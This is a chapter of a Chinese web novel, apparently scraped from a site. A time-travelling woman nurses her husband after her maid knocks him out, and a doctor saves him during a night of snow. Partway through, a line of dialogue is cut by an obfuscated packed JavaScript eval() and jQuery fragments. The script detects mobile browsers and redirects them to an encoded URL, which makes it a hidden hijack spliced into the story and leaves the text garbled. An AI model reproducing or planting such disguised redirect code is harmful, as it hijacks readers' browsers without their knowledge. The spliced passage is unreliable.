没泪蒸发 作品

34. 雪花

“你还是这样啊,婉儿。”


祝寻笑着,将她额前碎发理了理,然后看下那个铁盆,无奈道:“不过这次怎么连个像样的武器都没有?幸亏是我,如果真的是坏人,你一个人该如何对抗……”


“放开我老板!!——”他话没说完,便被从暗处冲来的凌枝一把撞倒在地,孟行朝完全没预料到这情景,只见祝寻头磕在桌角,“咚”一声,没了动静。


啥?


看着已经在思考抛尸事宜的凌枝,她真的怀疑这是在做梦了。


把凌枝拉起来后,她郑重盯着她,说:“去李氏医馆,报我的名就行。”


凌枝手还是抖的,她当然害怕,只是为了孟行朝拼了而已,面对这情景,她嘴唇都白了,却有些不解:“老板,这、这人不声不响潜入府中,肯定不是好人,你、还要救他吗?”


孟行朝组织了一下语言,抓着她的肩头,认真说到:“这是我夫君。”


“哈?”凌枝脚下不稳,差点栽在地上。孟行朝安慰地摩挲了一下她的侧颈,道:“没事,我简单检查了一下,人还有气,你快去找郎中,把情况说明清楚。”


“好,好,那我去了,那我得赶紧去……”


凌枝双腿抖动着爬起来,头也不回地奔出了门。


孟行朝把目光收回,看着仍保持震惊表情的祝寻。她把手放在他额上,想帮他闭上眼,又觉得不对,然后便开始研究怎么能把人搬到床上,研究了半天,无果。


她放弃了,最终祝寻还是一个人躺在冰冷的地板上。


她两手支撑在他脑袋两边,仔细看着他涣散的眼神,思考着凭现在的医疗水平人还能救回来吗。


这种感觉有点奇怪,因为自从来到这个世界的第一天,孟行朝就没想象过自己会和一件可能影响历史进程的事扯上关系。


“如果你死了,三皇子会夺得皇位吗?”她又捏了捏他的脸,狐疑地呢喃:“你有这么重要吗?”


祝寻不能给她任何反应,所以孟行朝轻轻叹了口气站起来。


凌枝很快就回来了,孟行朝在屋子里都听得见她“哒哒”的脚步声,或许是一因为这次的确人命关天,洛生也不敢耽搁,跟在她身后一路小跑。


可即使是他,一进屋看到人直挺挺躺在地上也被吓了一跳。“大夫,就是这位了,您等等,我叫我们老板去……”


洛生蹲下,先检查脑后有没有出血,不然就是神仙来了都保不住了。


等孟行朝从卧房出来,只见洛生拖着祝寻,尝试把他弄到床上。


“愣着干嘛?来帮忙啊!”凌枝迅速跑去搭把手,孟行朝却仍站在原地。她有点怀疑地看着他:“强行移动真的没事吗?是不是让他躺在地上更好?”


“我是郎中还是你是?”洛生气急,脸涨得通红:“还不来帮忙!”


三人合力终于将祝寻抬到了床上,洛生便一句话都不再说,开始给他检查。凌枝在外面守着,孟行朝看了一会儿,问:“还能救活吗?”


洛生不语,孟行朝便不再打扰他,也识趣地离开了。


窗外夜色漆黑,看着脸色不好的凌枝,孟行朝叫她先回去休息,然而她却摇摇头,道:“老板,我对不起弄,我不知道——”后面的话卡在了喉间,瞧她的样子,孟行朝都害怕她会因此留下心理阴影。


“凌枝,你别给自己这么大压力,这事不怪你,你是因为担心我,有什么错?都怪他,来之前不知道知会一声,进别人家也不敲门。说起来,他一直有这毛病呢……所以呀,就当给他的教训,你别放在心上。”


“就当给他……个……教训?”凌枝表情为难:“可老板,万一公子有个真有个三长两短怎么办?”


孟行朝神色有点高深:“那不正说明这就是他的命么,既然是他的命,没有你也会有别人,所以你就更不应该自责了。好了,弄快去休息,以后还指着你当我的得力助手呢,可不能被这个打趴下了。”


她强硬地把凌枝推到厢房,直到看着她成功躺到床上才出来。


今晚的夜空格外昏暗,星光不见踪影,还弥漫着一股潮湿,让孟行朝缩了缩脖子。这是她最讨厌的天气。


她这人也是怪,安慰起别人来一套一套的,但却没法用这一套说辞来说服自己。


安静下来后,一个想法不可抑制地出现在脑子里——如果他真死了,怎么办?


当然,她疑惑的不是宏观层面的问题,谁继承皇位和她有什么关系?只要别让她吃不上饭就都不关她的事。


她想的是她身边的人,他的朋友、父母、亲人,那些认识他熟悉他的人,他们会作何反应?这会不会给他们带来什么影响?当然,这个范围大概不会包括她自己。


这是一个高深的问题,因为关于他的生活,她一点也不了解,甚至连他的大名都不知道。


盯着自己的鞋面,孟行朝忽然觉得地面上偶然亮晶晶的,头上也似乎多了一些什么重量,她抬头,光亮洁白的雪花就轻轻落在睫毛上。


下雪了?


这场雪来势悄然无息,但持续的时间可真够久的,孟行朝一直守在正房外屋,洛生一直不出来,雪就一直不停,直至天蒙蒙亮,他才满头虚汗地走出来。


“人没事了吧?”


她拥上去,只见他摇摇头,声音也沙哑得不成样子:“救回来了。”


那一刹那,孟行朝明显感觉到自己的,心脏猛地跳了一下。洛生提着药箱,不顾大雪地往外走,看都不用看都知道他真是累坏了,需要立刻休息。孟行朝随手拿上一把伞,唤了一句:“洛大夫,我送你——”


然而他一手夺过了伞:“伞借我用用,送就不用了。”随后就毫无留恋地出了门。


虽然家里只有这一把伞,不过孟行朝上辈子也没下雪打伞的习惯,所以直接冲了出去。


“洛大夫!洛大夫——!”他叫了他几声,不过他却没有要停下的意思。好在孟行朝在把自己养大这件事上一直很用心,即使熬了个大夜也没影响她跑着追赶上他。


“洛生!钱你


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191333|163906||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


还没收呢!”直到这句话喊出,他才停下脚步。


孟行朝现在倒是有钱了,银两用不完一样塞到洛生手里。他瞧着,表情终于好了一点。原本是不打算再和这个叫孟婉娘的有任何接触的,她和她男人都是怪人。若不是昨夜生死攸关,那小丫头急得满头大汗的样子不像装的,他才不会过来。


掂了掂手中的银子,他嗓音冷中带着一丝幽怨,最终效果非常之阴阳怪气:“这次出诊用不了这么多银钱的,看来孟姑娘是终于想起上次出诊还欠着我钱的事了,我还以为你天天做生意,贵人多忘事呢。”


人家刚把祝寻救回来,她就是想耍宝也不能挑这个功夫,于是全然接受了洛生的怨气,不仅如此,还又往他怀里塞了一把银子。


“那次的事是我的不对,可是过期的已经过去了,除了加倍补偿你我别无他法。”她的神情还算真诚,所以洛生也没什么好多说的。


“我家夫君这段时间暂且还是要麻烦你的。”


洛生本就是刀子嘴豆腐心的人,毕竟关乎人性命,他也不好再回绝。


“等他醒了再去找我。”


明白她这样说就是应下了,孟行朝便放下心来,又送了他一段路,直到满头青丝变银发,浑身都湿了,才往回走。


看见孟行朝,站在门口的凌枝蝴蝶一样的飞来:“老板!”


她帮她扶落身上的雪花,给她手里放上一个暖炉,担心地望着她:“这下着这么大的雪,你怎么连把伞也不拿就出去了,外面这么冷,冻坏了可怎么着……”


“我冻不坏的,不用担心我。”她一边向屋里走,一边问:“人呢,醒了吗?”


提起这个,凌枝的脸立马苦恼了起来,失落地摇摇头:“没。”看到她这副样子,孟行朝反倒安慰起她来:“没事,受了那样的伤怎么可能一晚就醒过来,让他躺几天吧。”


凌枝把她的外衣挂起,一转眼,孟行朝却已经到里屋了。


她从冰天雪地带回一身寒意,坐在床边时,还因疾走而心脏狂跳,可是祝寻却没法像往常一样接受她的匆忙,并好意地问今日怎样这样着急?一会儿想吃什么?


看着他躺在床上,这副任人宰割的样子,孟行朝竟没由来地想笑。


“我本来特别希望你能死于上茅厕踩空,喂,我只是一句玩笑都话,我也没想到你真的会因为这么儿戏的理由去走一趟鬼门关啊。”


乐着乐着,她笑出了声,那笑声银铃一般,她甚至怀疑这是她自从来到这个世界后第一次这么开心放肆地笑,笑到喘不上气,笑到生理性泪水打湿眼眶,笑到凌枝站在门边问她怎么了。


“老板……”凌枝有点担忧:“是出了什么事吗?”


良久,孟行朝才好不容易停下。她问:“昨日让你备的东西今天去买了吧。”


凌枝回忆了一下,才想起她指的是纸板、蜡烛之类的东西。


“老板,你要干嘛呀?”


孟行朝已经平静下来,说:“做灯笼。马上要过年了啊,凌枝。”